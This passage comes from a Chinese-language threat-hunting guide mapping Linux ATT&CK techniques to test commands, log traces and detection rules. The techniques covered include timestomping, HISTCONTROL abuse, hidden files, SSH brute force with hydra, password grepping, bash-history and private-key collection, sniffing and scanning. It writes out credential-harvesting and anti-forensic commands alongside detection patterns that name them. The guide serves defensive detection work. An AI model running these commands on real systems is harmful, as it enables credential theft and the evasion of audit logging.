权限:(0644/-rw-r--r--) Uid:( 0/ root) Gid:( 0/ root)
最近访问:2021-02-02 17:57:52.294812586 +0800
最近更改:2020-12-21 16:54:40.000000000 +0800
最近改动:2022-01-09 19:55:55.945380351 +0800
创建时间:-
```
成功复现
## 日志留痕
```
bash
918 sudo touch -a -t 197001010000.00 test.txt
919 stat test.txt
920 sudo touch -m -t 209001010000.00 test.txt
921 stat test.txt
```
## 检测规则/思路
### sigma规则
对相关命令进行检测是一种简单的方法,但是会存在绕过风险。
### 建议
现有的取证技术可以检测出时间戳被修改的文件的各个方面。可以使用文件修改监控来检测时间戳,该监控收集文件打开的信息,并可以比较时间戳值。
## 参考推荐
MITRE-ATT&CK-T1036
<https://attack.mitre.org/techniques/T1070/006>
跟着ATT&CK学安全之defense-evasion
<https://snappyjack.github.io/articles/2020-01/%E8%B7%9F%E7%9D%80ATT&CK%E5%AD%A6%E5%AE%89%E5%85%A8%E4%B9%8Bdefense-evasion>
================================================
FILE: Linux/07逃避防御/T1222-002-linux-文件权限修改.md
================================================
# T1222-002-Linux-文件权限修改
## 来自ATT&CK的描述
文件权限通常有文件的所有者指定的自主访问控制列表(DACL)管理。文件DACL实现可能因不同系统而异,但通常明确指定那些用户/组可以执行那些操作(例如:读取、写入、执行等)。
攻击者可以修改文件权限/属性来逃避预定的DACL策略,修改可能包括更改特定的访问权限,这可能需要获取文件的所有权或提升权限,例如:administer/root,具体取决于文件的现有权限。特定文件修改可能是许多技术的必需步骤,例如通过辅助功能,登陆脚本建立持久性,或者污染/劫持其他工具的配置文件等。
## 测试案例
chmod 766 abc.txt
chmod u+x abc.txt #abc.txt文件属主权限,具有执行权限
chmod o-x abc.txt #取消其他用户对abc.txt的执行权限
chown runoob:runoobgroup abc.txt 将文件 abc.txt 的拥有者设为 runoob,群体的使用者 runoobgroup
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
bash历史记录
## 测试复现
icbc@icbc:~$ sudo chmod 766 abc.txt
......
icbc@icbc:~$ sudo chmod u+x abc.txt
## 测试留痕
基于audit日志
暂无
基于历史记录
icbc@icbc:~$ histroy
646 sudo chmod 766 abc.txt
647 sudo chmod u+x abc.txt
## 检测规则/思路
### splunk规则
#### 基于audit日志
index=linux sourcetype=linux_audit syscall=90 OR syscall=91 OR sycall=268 | table msg,syscall,syscall_name,success,auid,comm,exe
#### 基于bash历史记录
index=linux sourcetype="bash_history" bash_command="chmod *" OR bash_command="chown*" | table host,user_name,bash_command
### 建议
值的注意的是:你需要创建一个白名单进行数据降噪,否则你可能会在无休止的去误报的路上越走越远。
## 参考推荐
MITRE-ATT&CK-T1222-002
<https://attack.mitre.org/techniques/T1222/002/>
Audit配置手册
<https://www.cnblogs.com/bldly1989/p/7204358.html>
DACL自主访问控制列表
<https://baike.baidu.com/item/DACL/10681774?fr=aladdin>
linux下chmod命令用法
<https://blog.csdn.net/shinehoo/article/details/5821354>
linux下chown命令用法
<https://www.runoob.com/linux/linux-comm-chown.html>
================================================
FILE: Linux/07逃避防御/T1562-003-linux-Histcontrol.md
================================================
# T1562-003-Linux-Histcontrol
## 来自ATT&CK的描述
在HISTCONTROL环境变量决定了是否保存history命令,并最终进入~/.bash_history用户登录时出的文件。可以将此设置配置为忽略以空格开头的命令,只需将其设置为“ignorespace”即可。HISTCONTROL也可以设置为忽略重复命令,其使用方法是将其设置为“ignoredups”。在某些Linux系统中,默认设置为“ignoreboth”,它涵盖了前面的两个示例。这意味着“ls”将不会被保存,但“ls”将被历史保存。HISTCONTROL默认情况下在macOS上不存在,但可以由用户设置并且将受到保护。攻击者可以通过简单的在其所有终端命令之前添加空格来使用它进行操作操作而不留下痕迹。
## 测试案例
export HISTCONTROL=ignoreboth
## 检测日志
bash历史记录
## 测试复现
icbc@icbc:/$ ls
icbc@icbc:/$ history
1 ls
icbc@icbc:/$ export HISTCONTROL=ignoreboth
icbc@icbc:/$ ls
## 测试留痕
icbc@icbc:/$ history
1 ls
2 export HISTCONTROL=ignoreboth
3 history
## 检测规则/思路
### splunk规则
index=linux sourcetype="bash_history" export HISTCONTROL | table host, user_name, bash_command
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1562-003
<https://attack.mitre.org/techniques/T1562/003/>
linux history命令详解
<https://www.cnblogs.com/keithtt/p/7040549.html>
================================================
FILE: Linux/07逃避防御/T1564-001-linux-隐藏文件和目录.md
================================================
# T1564-001-Linux-隐藏文件和目录
## 来自ATT&CK的描述
为了防止普通用户误操作更改系统上的特殊文件,大多数操作系统都具有“隐藏”文件的概念。当用户使用GUI浏览文件系统或在命令行上使用普通命令时,这些文件不会显示。用户必须明确要求通过一系列图形用户界面(GUI)提示或命令行查看隐藏文件。例如(windows下的dir /a,linux或MAC下的ls -a命令等)
攻击者可以利用这一点来隐藏系统中任何位置的文件和文件夹,以便持久化并逃避不进行隐藏文件分析的用户或分析师。
linux/mac
用户可以将特定文件标记为隐藏,只需将“.”作为文件或文件夹名称中的第一个字符。默认情况下,以点“.”开头的文件和文件夹无法在Finder应用程序和标准命令行实用程序(如“ls”)中查看。用户必须专门更改设置才能查看这些文件。对于命令行用法,通常会有一个标志来查看所有文件(包括隐藏文件)。要在Finder应用程序中查看这些文件,必须执行以下命令:defaults write com.apple.finder AppleShowAllFiles YES,然后重新启动Finder应用程序。
## 测试案例
mkdir .xx -a #创建一个隐藏文件夹
mv file to a .file #移动文件到目录a下并修改为隐藏文件
## 检测日志
bash历史记录
值得注意的是:你可以从一些特定目录路径中查找到隐藏文件/目录,并将其转储到某个位置。提取出可以文件夹并查找恶意隐藏文件。
## 测试复现
icbc@icbc:/xx$ sudo mkdir .xx-a
icbc@icbc:/xx$ sudo mv 1.sh /xx/.sh
## 测试留痕
icbc@icbc:/$ history
1 sudo mkdir .xx-a
2 sudo mv 1.sh /xx/.sh
## 检测规则/思路
### splunk规则
index=linux sourcetype=bash_history bash_command="mkdir .*" | table host,user_name,bash_command
index=linux sourcetype=bash_history bash_command="mv *.*" | table host,user_name,bash_command
### 建议
值得注意的是:你也可以通过命令直接在问题主机上进行查找,当然,你可以使用白名单来过滤掉linux系统中的标准隐藏文件/目录。这样可以减轻误报。
find_hidden_files.sh
```
dos
find /home/ -name ".*"
find /home/ -type d -name ".*"
find /home/ -type f -name ".*"
```
## 相关TIP
[[T1564-001-win-发现攻击者在回收站中隐藏恶意软件]]
[[T1564-001-win-隐藏的文件和目录]]
[[T1564-003-win-隐藏窗口]]
## 参考推荐
MITRE-ATT&CK-T1564-001
<https://attack.mitre.org/techniques/T1564/001/>
================================================
FILE: Linux/08凭证访问/T1110-003-Linux-SSH暴力破解.md
================================================
# T1110-003-Linux-SSH暴力破解
## 来自ATT&CK的描述
当密码未知时,攻击者可以使用暴力破解尝试获取访问帐户密码。攻击者在操作期间尝试暴力破解登录,这是一个风险较高的选项,因为它可能导致大量身份验证失败记录以及帐户锁定,账户锁定具体取决于所设置的登录失败策略。
通常,可以对使用常用端口上的服务进行密码喷射攻击。常见linux服务包括以下内容:
- SSH(22/TCP)
- Telnet(23/TCP)
- FTP(21/ TCP)
## 测试案例
以下经典工具可用于端口爆破:
- Hydra
- Medusa
- Patator
- Brutepray
- ……
## 检测日志
linux 系统日志(auth.log)
linux audit日志
## 测试复现
```
shell
root@icbc:/hacker/mima# hydra -l root -P passwd.txt ssh://192.168.159.132 -V
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
```
## 测试留痕
auth.log
```
log
Failed password for root from 192.168.159.129 port 43728 ssh2
```
audit.log
```
log
type=USER_AUTH msg=audit(1572163129.581:316): pid=2165 uid=0 auid=4294967295 ses=4294967295 msg='op=PAM:authentication acct="root" exe="/usr/sbin/sshd" hostname=192.168.159.129 addr=192.168.159.129 terminal=ssh res=failed'
```
## 检测规则/思路
### sigma规则
```
yml
title: linux下ssh暴力破解
description: Ubuntu18.04、kali
references:
tags: T1110-003
status: experimental
author: 12306Bro
logsource:
product: linux
service: auth.log/audit.log
detection:
keywords:
- 'Failed password for * ssh2' #linux auth.log
- '* exe="/usr/sbin/sshd" * terminal=ssh res=failed' #linux audit.log
condition: keywords
level: medium
```
### elk公布检测规则
```
yml
query = '''
sequence by host.id, source.ip, user.name with maxspan=3s
[authentication where event.action in ("ssh_login", "user_login") and
event.outcome == "failure" and source.ip != null and source.ip != "0.0.0.0" and source.ip != "::" ] with runs=2
[authentication where event.action in ("ssh_login", "user_login") and
event.outcome == "success" and source.ip != null and source.ip != "0.0.0.0" and source.ip != "::" ]
'''
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1110-003
<https://attack.mitre.org/techniques/T1110/003>
================================================
FILE: Linux/08凭证访问/T1552-001-linux-文件中的凭据.md
================================================
# T1552-001-Linux-文件中的凭据
## 来自ATT&CK的描述
攻击者可能会在本地文件系统和远程文件共享中搜索包含不安全存储的凭据的文件。这些文件可以是用户创建的用于存储自己的凭据的文件,一组个人的共享凭据存储,包含系统或服务密码的配置文件或包含嵌入式密码的源代码/二进制文件。
可以通过OS Credential Dumping从备份或保存的虚拟机中提取密码。也可以从Windows域控制器上存储的组策略首选项中获取密码。
在云环境中,经过身份验证的用户凭据通常存储在本地配置和凭据文件中。在某些情况下,可以将这些文件复制并在另一台机器上重复使用,或者可以读取内容,然后将其用于身份验证,而无需复制任何文件。
## 测试案例
grep -riP password #{想要查找的文件路径}
grep -riP password /
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
bash历史记录
## 测试复现
icbc@icbc:/$ grep -riP passwd /etc/passwd
## 测试留痕
### audit日志
icbc@icbc:/$ gedit /var/log/audit/audit.log
type=SYSCALL msg=audit(1563526266.080:744): arch=c000003e syscall=59 success=yes exit=0 a0=55f3435691b0 a1=55f3434345d0 a2=55f343573580 a3=8 items=2 ppid=2031 pid=4855 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=3 comm="grep" exe="/usr/bin/grep" key="auditcmd"
type=EXECVE msg=audit(1563526266.080:744): argc=5 a0="grep" a1="--color=auto" a2="-riP" a3="passwd" a4="/etc/passwd"
type=CWD msg=audit(1563526266.080:744): cwd="/"
type=PATH msg=audit(1563526266.080:744): item=0 name="/usr/bin/grep" inode=2228723 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
值得注意的是:这里只提取出了异常日志,故省略了很多日志细节。
### bash历史记录
icbc@icbc:/$ history
1 grep -riP passwd /etc/passwd
## 检测规则/思路
### splunk规则
audit日志
```
yml
index=linux sourcetype=linux_audit type=execve a0=grep a0="grep" a1="--color=auto" a2="-riP" a3="passwd"
```
### splunk规则
bash 历史记录
```
yml
index=linux sourcetype="bash_history" grep password | table host,user_name,bash_command
```
### sigma规则
值得注意的是:你需要自行配置Audit审核规则
```
yml
title: 攻击者查看linux下可能包含用户账户密码的文件
description: Ubuntu18.04
references: https://github.com/12306Bro/Threathunting/blob/master/T1081-linux-文件中的凭证.md
tags: T1552-001
status: experimental
author: 12306Bro
logsource:
product: linux
service: audit(需要自行配置audit规则)
detection:
keywords:
- comm="grep" exe="/bin/grep" key="audit_110"
condition: keywords
logsource:
product: linux
service: history
detection:
selection:
keywords:
- grep * passwd
condition: keywords
level: medium
```
### 建议
暂无
## 相关TIP
[[T1552-001-win-文件中的凭证]]
[[T1552-002-win-注册表中的凭证]]
[[T1552-003-linux-Bash历史]]
[[T1552-004-linux-私钥]]
[[T1552-006-win-GPP-凭证转储]]
## 参考推荐
MITRE-ATT&CK-T1552-001
<https://attack.mitre.org/techniques/T1552/001>
================================================
FILE: Linux/08凭证访问/T1552-003-linux-Bash历史.md
================================================
# T1552-003-Linux-Bash历史记录
## 来自ATT&CK的描述
Bash使用“history”实用程序跟踪用户在命令行上键入的命令。用户注销后,会将历史记录刷新到用户的`.bash_history`文件中。对于每个用户,此文件位于同一位置:`~/.bash_history`。通常,此文件会跟踪用户的最近500个命令。用户通常在命令行上键入用户名和密码作为程序的参数,然后在注销时将其保存到此文件中。攻击者可以通过滥用此功能来查看文件来查看潜在凭据。
## 测试案例
cat #{bash历史命令名字} | grep #{bash历史命令关键词检索} > #{输出文件名}
sudo cat ~/.bash_history | grep password > bash.txt
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
bash历史记录
## 测试复现
icbc@icbc:/$ sudo cat ~/.bash_history | grep password > bash.txt
## 测试留痕
### audit日志
icbc@icbc:/$ sudo cat ~/.bash_history | grep password > bash.txt
type=PATH msg=audit(1563528127.048:1097): item=0 name="/usr/bin/cat" inode=2228383 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
type=PATH msg=audit(1563528127.048:1097): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=2237074 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
type=PROCTITLE msg=audit(1563528127.048:1097): proctitle=636174002F726F6F742F2E626173685F686973746F7279
type=SYSCALL msg=audit(1563528127.056:1099): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd4ebbb73b a2=0 a3=0 items=1 ppid=5249 pid=5258 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=3 comm="cat" exe="/usr/bin/cat" key="bash_history_110"
type=CWD msg=audit(1563528127.056:1099): cwd="/root"
值得注意的是:这里只提取出了异常日志,故省略了很多日志细节。
### bash历史记录
icbc@icbc:/$ history
1 sudo cat ~/.bash_history | grep password > bash.txt
## 检测规则/思路
### splunk规则
audit 日志
```
yml
index=linux sourcetype="linux_audit" syscall=257 key=bash_history_110 | table host,auid,syscall,syscall_name,exe
```
值得注意的是:你需要自行配置Audit审核规则
```
history
sudo auditctl -w ~/.bash_history -k bash_history_110
```
bash 历史记录
```
yml
index=linux sourcetype=bash_history cat bash_history | table _time,host,user_name,bash_command
```
### sigma规则
```
yml
title: 攻击者读取linux下~/.bash_history文件,查看是否包含相关凭据密码
description: Ubuntu18.04
references: https://github.com/12306Bro/Threat-hunting/blob/master/T1139-linux-Bash历史记录.md
tags: T1552-003
status: experimental
author: 12306Bro
logsource:
product: linux
service: audit
detection:
keywords:
- syscall=257 key=bash_history_110
condition: keywords
- ---------------------------------------------------------------------------------------
logsource:
product: linux
service: history
detection:
selection:
keywords:
- cat bash_history
condition: keywords
level: medium
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1552-003
<https://attack.mitre.org/techniques/T1552/003/>
Audit配置手册
<https://www.cnblogs.com/bldly1989/p/7204358.html>
================================================
FILE: Linux/08凭证访问/T1552-004-linux-私钥.md
================================================
# T1552-004-Linux-私钥
## 来自ATT&CK的描述
攻击者可以从被入侵的系统上收集私钥,用于对SSH等远程服务进行身份验证(暴力破解等),或者用于解密其他收集的文件,如电子邮件。通用密钥和证书文件扩展名包括:.key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. ;攻击者还可以查看常见的密钥目录,例如基于linux/unix的系统下的~/.ssh目录或Windows 上的SSH密钥C:\Users(username).ssh\。
私钥应该需要密码来进行操作,因此攻击者也可以使用键盘记录获取密码或尝试离线爆破账号密码。
## 测试案例
find / -type f ( -name "*.pem" -o -name "*.pgp" -o -name "*.gpg" -o -name "*.ppk" -o -name "*.p12" -o -name "*.key" -o -name "*.pfx" -o -name "*.cer" -o -name "*.p7b" -o -name "*.asc" -o -name "authorized*" )
查找用户的SSH私钥:find / -name id_rsa OR find / -name id_dsa
使用CP复制SSH私钥:find / -name id_rsa -exec cp --parents {} #{output_folder} ;
find / -name id_dsa -exec cp --parents {} #{output_folder} ;
使用rsync复制SSH私钥:find / -name id_rsa -exec rsync -R {} #{output_folder} ;
find / -name id_dsa -exec rsync -R {} #{output_folder} ;
## 检测日志
bash历史记录
## 测试复现
icbc@icbc:/$ sudo find / -name id_rsa
不再进行一一测试
## 测试留痕
icbc@icbc:/$ history
639 sudo find / -name id_rsa
## 检测规则/思路
### sigma规则
```
yml
title: 攻击者查找linux下私钥文件
description: Ubuntu18.04
references: https://github.com/12306Bro/Threathunting/blob/master/T1145-linux-私钥.md
tags: T1552-004
status: experimental
author: 12306Bro
logsource:
product: linux
service: history
detection:
keywords:
- sudo find / -name *.pgp
- sudo find / -name *.pem
- sudo find / -name *.ppk
- sudo find / -name *.p12
- sudo find / -name *.key
condition: keywords
level: medium
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1552-004
<https://attack.mitre.org/techniques/T1552/004/>
linux下的rsync六个使用实例
<https://www.linuxprobe.com/how-linux-rsync.html>
================================================
FILE: Linux/09发现/T1040-linux-网络嗅探.md
================================================
# T1040-Linux-网络嗅探
## 来自ATT&CK的描述
网络嗅探是指使用系统上的网络接口来监视或捕获通过有线或无线连接发送的信息。攻击者可以将网络接口置于混杂模式以通过网络被动地访问传输中的数据,或者使用跨接端口来捕获更大量的数据。
通过该技术可以捕获的数据包括用户凭证,尤其是通过不安全的未加密协议发送的凭证;网络嗅探还可以获取到配置细节,例如运行服务,版本号以及后续横向移动或防御逃避活动所需的其他网络特征(例如:IP寻址,主机名,VLAN ID)。
## 测试案例
tcpdump -c 5 -nnni #{网卡接口}
tshark -c 5 -i #{网卡接口}
## 检测日志
linux /var/log/message (值得注意的是:Ubuntu下默认不开启message日志,需要手动开启)
## 测试复现
### 场景一
root@icbc:~# tcpdump -c 5 -nnni ens33
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
10:37:34.347544 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137
10:37:37.355725 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137
10:37:40.356238 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137
10:37:43.356969 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137
10:37:49.808569 IP 192.168.66.148.59150 > 192.168.66.2.53: 15476+ [1au] A? connectivity-check.ubuntu.com. (58)
5 packets captured
5 packets received by filter
0 packets dropped by kernel
### 场景二
root@icbc:~# tshark -c 5 -i ens33
Running as user "root" and group "root". This could be dangerous.
Capturing on 'ens33'
1 0.000000000 192.168.66.148 → 192.168.66.2 DNS 100 Standard query 0xe349 A connectivity-check.ubuntu.com OPT
2 0.038532840 Vmware_e8:11:b3 → Broadcast ARP 60 Who has 192.168.66.148? Tell 192.168.66.2
3 0.038552195 Vmware_02:d5:c7 → Vmware_e8:11:b3 ARP 42 192.168.66.148 is at 00:0c:29:02:d5:c7
4 0.038758293 192.168.66.2 → 192.168.66.148 DNS 132 Standard query response 0xe349 A connectivity-check.ubuntu.com A 35.224.99.156 A 35.222.85.5 OPT
5 0.039670671 192.168.66.148 → 35.222.85.5 TCP 74 57812 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=136575048 TSecr=0 WS=128
5 packets captured
## 测试留痕
### 场景1
message日志
Jul 19 10:37:33 icbc kernel: [ 298.396406] device ens33 entered promiscuous mode
### 场景2
message日志
Jul 19 10:47:42 icbc systemd[1]: Started Cleanup of Temporary Directories.
Jul 19 10:47:50 icbc kernel: [ 915.199848] device ens33 left promiscuous mode
Jul 19 10:47:50 icbc start.sh[734]: 2019-07-19 10:47:50,165: DEBUG helpers.application.health RAM: 65MB
## 检测规则/思路
### splunk检测规则
index=linux sourcetype=syslog entered promiscuous mode | table host,message
index=linux sourcetype=syslog left promiscuous mode | table host,message
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1040
<https://attack.mitre.org/techniques/T1040/>
================================================
FILE: Linux/09发现/T1046-linux-使用nping扫描探测.md
================================================
# T1046-Linux-使用nping扫描探测
## 来自ATT&CK的描述
攻击者可能会尝试获取在远程主机和本地网络基础设施设备上运行的服务列表,包括那些可能容易受到远程软件利用的服务。获取此信息的常用方法包括使用系统自带的工具进行端口或漏洞扫描。
## 测试案例
Nping允许用户发送多种协议(TCP、UDP、ICMP和ARP协议)的数据包。可以调整协议头中的字段,例如可以设置TCP和UDP的源端口和目的端口。
主要功能------------------------------------------------------------------------------------------------------------
- 发送ICMP echo请求
- 对网络进行压力测试
- ARP毒化攻击
- DoS攻击
- 支持多种探测模式
- 可以探测多个主机的多个端口
nping常用参数:
用法:nping [Probe mode][Options] {target specification}
Probe mode(探测模式)
- -tcp-connect 无特权的tcp连接探测模式;
- -tcp TCP探测模式
- -udp --icmp --arp
- tr,--traceroute 路由跟踪模式(仅能和tcp、udp、icmp模式一起使用)
- p, --dest-port 目标端口
- g, --source-port 源端口
- -seq 设置序列号
- -flags 设置tcp标识(ack,psh,rst,syn,fin)
- -ack 设置ack数
- S,--source-ip 设置源IP地址
- -dest-ip 目的IP地址
- c 设置次数
- e,--interface 接口
- H,--hide-sent 不显示发送的包
- N,--no-capture 不抓获回复包
- v 增加冗余等级
- q 减少冗余登记
## 检测日志
linux日志
## 测试复现
向目标主机的22端口发送一次TCP数据包,用于查看主机是否开启SSH服务。
```
bash
liu@Parallels:/var/log$ sudo nping -c 1 -p 22 192.168.50.128-129 --tcp
Starting Nping 0.7.60 ( https://nmap.org/nping ) at 2022-09-24 23:53 CST
SENT (0.0589s) TCP 10.211.55.48:15023 > 192.168.50.128:22 S ttl=64 id=64729 iplen=40 seq=125735927 win=1480------------------------------------------------------------------------------------------------------------
SENT (1.0599s) TCP 10.211.55.48:15023 > 192.168.50.129:22 S ttl=64 id=64729 iplen=40 seq=125735927 win=1480------------------------------------------------------------------------------------------------------------
- -----------------------------------------------------------------------------------------------------------
Statistics for host 192.168.50.128:
| Probes Sent: 1 | Rcvd: 0 | Lost: 1 (100.00%)
|_ Max rtt: N/A | Min rtt: N/A | Avg rtt: N/A
Statistics for host 192.168.50.129:
| Probes Sent: 1 | Rcvd: 0 | Lost: 1 (100.00%)
|_ Max rtt: N/A | Min rtt: N/A | Avg rtt: N/A
Raw packets sent: 2 (80B) | Rcvd: 0 (0B) | Lost: 2 (100.00%)
Nping done: 2 IP addresses pinged in 2.10 seconds
```
## 测试留痕
暂无
## 检测规则/思路
### Elastic
```
yml
query = '''
event.category:process and event.type:(start or process_started) and process.name:nping
'''
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1046
<https://attack.mitre.org/techniques/T1046/>
Nping Process Activity
<https://github.com/elastic/detection-rules/blob/main/rules/linux/discovery_linux_nping_activity.toml>
Kali基本扫描工具
<https://cloud.tencent.com/developer/article/1821351>
================================================
FILE: Linux/09发现/T1082-linux-Hping存活主机发现.md
================================================
# T1082-Linux-系统信息发现
## 来自ATT&CK的描述
攻击者可能试图获取有关操作系统和硬件的详细信息,包括版本,补丁,修补程序,服务包和目录结构。攻击者可以在发现过程中使用系统信息中发现的信息来决定后续的操作,包括攻击者是否完全感染了目标或尝试了特定操作。
## 测试案例
hping是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。
## 检测日志
Linux audit日志
## 测试复现
```
bash
yyds@12306Br0:/var/log/audit$ sudo hping3 -I enp0s5 -S 10.211.55.35 -p 22
[sudo] yyds 的密码:
HPING 10.211.55.35 (enp0s5 10.211.55.35): S set, 40 headers + 0 data bytes
len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=0 win=0 rtt=7.3 ms
len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=1 win=0 rtt=8.4 ms
len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=2 win=0 rtt=6.6 ms
len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=3 win=0 rtt=6.3 ms
len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=4 win=0 rtt=1.8 ms
len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=5 win=0 rtt=6.0 ms
len=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=6 win=0 rtt=8.5 ms
```
注意权限问题,权限过低会报错
## 测试留痕
```
yml
type=SYSCALL msg=audit(1654607530.513:15004): arch=c000003e syscall=59 success=yes exit=0 a0=55b2b32403f8 a1=55b2b31eacb0 a2=55b2b3241ed0 a3=0 items=2 ppid=36880 pid=36881 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts2 ses=2 comm="hping3" exe="/usr/sbin/hping3" subj=? key="rootcmd"ARCH=x86_64 SYSCALL=execve AUID="yyds" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"
type=EXECVE msg=audit(1654607530.513:15004): argc=7 a0="hping3" a1="-I" a2="enp0s5" a3="-S" a4="10.211.55.35" a5="-p" a6="22"
```
## 检测规则/思路
### elastic规则
```
yml
query = '''
event.category:process and event.type:(start or process_started) and process.name:(hping or hping2 or hping3)
'''
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1082
<https://attack.mitre.org/techniques/T1082/>
discovery_linux_hping_activity
<https://github.com/elastic/detection-rules/blob/main/rules/linux/discovery_linux_hping_activity.toml>
kali工具-信息收集之存活主机识别(Hping)
<https://blog.csdn.net/weixin_45761101/article/details/116696018>
================================================
FILE: Linux/09发现/T1087-001-linux-本地账户发现.md
================================================
# T1087-001-Linux-本地账户发现
## 来自ATT&CK的描述
攻击者可能会尝试获取本地系统帐户的列表。此信息可以帮助攻击者确定系统上存在哪些本地帐户,以帮助后续行为。
在Linux上,可以通过使用/etc/passwd的文件来枚举本地用户。在mac中,除文件外,此相同文件仅用于单用户模式/etc/master.passwd。此外,可以通过groups和id命令枚举组。
## 测试案例
枚举所有账户:cat /etc/passwd
查看sudoers文件:cat /etc/sudoers
查看UID为0的帐户:username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username
显示用户帐户是否有远程记录器:lastlog
枚举用户和组:groups 或者 id
## 检测日志
bash历史记录
## 测试复现
枚举所有账户:cat /etc/passwd
查看sudoers文件:cat /etc/sudoers (需要root权限)
查看UID为0的帐户:username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username
显示用户帐户是否有远程记录器:lastlog
枚举用户和组:groups(需要root权限) 或者 id
## 测试留痕
root@icbc:~/Desktop$ history
385 cat /etc/passwd
386 cat /etc/sudoers
387 username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username
388 lastlog
389 groups
390 id
391 history
## 检测规则/思路
### splunk规则
index=linux sourcetype=bash_history cat /etc/passwd | table host,user_name,bash_command
index=linux sourcetype=bash_history cat /etc/sudoers | table host,user_name,bash_command
index=linux sourcetype=bash_history "lsof -u *" | table host,user_name,bash_command
index=linux sourcetype=bash_history lastlog | table host,user_name,bash_command
index=linux sourcetype=bash_history group OR id | table host,user_name,bash_command
### 建议
值得注意的是:应该结合上下文中查看研判,而不是单独依靠关键词检测,因为系统管理员经常使用这些命令进行合法操作。
## 参考推荐
MITRE-ATT&CK-T1087-001
<https://attack.mitre.org/techniques/T1087/001>
linux UID详解
<https://blog.csdn.net/jthivan/article/details/50530955>
linux ID查看命令详解
<https://blog.csdn.net/qq_21808961/article/details/78532487>
================================================
FILE: Linux/09发现/T1557-002-linux-ARP网络嗅探.md
================================================
# T1557-002-Linux-ARP网络嗅探
## 来自ATT&CK的描述
攻击者可能会在地址解析协议(ARP)缓存中下毒,将自己置于两个或多个联网设备的通信之间。这种活动可能被用来实现后续的攻击行为,如网络嗅探或传输数据操纵。
ARP协议用于将IPv4地址解析为链路层地址,如媒体访问控制(MAC)地址。本地网段中的设备通过使用链路层地址相互通信。如果一个联网设备没有特定联网设备的链路层地址,它可以向本地网络发出广播ARP请求,将IP地址翻译成MAC地址。拥有相关IP地址的设备会直接回复其MAC地址。发出ARP请求的联网设备就会使用以及在其ARP缓存中存储该信息。
攻击者可能会被动地等待一个ARP请求,以毒害请求设备的ARP缓存。攻击者可能会用他们的MAC地址进行回复,从而欺骗受害者,让他们相信他们正在与预定的网络设备进行通信。攻击者要毒害ARP缓存,他们的回复必须比合法IP地址所有者的回复快。攻击者也可以发送一个无偿的ARP回复,恶意地向本地网段的所有设备宣布某个IP地址的所有权。
ARP协议是无状态的,不需要认证。因此,设备可能会错误地添加或更新其ARP缓存中的IP地址的MAC地址。
攻击者可能利用ARP缓存中毒作为中间人(MiTM)网络流量的一种手段。这种活动可能被用来收集或转发数据,如证书,特别是那些通过不安全的、未加密的协议发送的数据。
## 测试案例
linux下arp命令执行
ARP -A,查询系统中缓存的ARP表。ARP表用来维护IP地址与MAC地址的一一对应。
## 检测日志
linux audit日志
## 测试复现
暂无
## 测试留痕
```
yml
type=SYSCALL msg=audit(1604994496.155:92733): arch=c000003e syscall=59 success=yes exit=0 a0=558e251634a0 a1=558e25162a50 a2=558e25160800 a3=8 items=2 ppid=29002 pid=1631 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=104 comm="arp" exe="/usr/sbin/arp" key=(null)
type=EXECVE msg=audit(1604994496.155:92733): argc=2 a0="arp" a1="-a"
type=CWD msg=audit(1604994496.155:92733): cwd="/home/wardog"
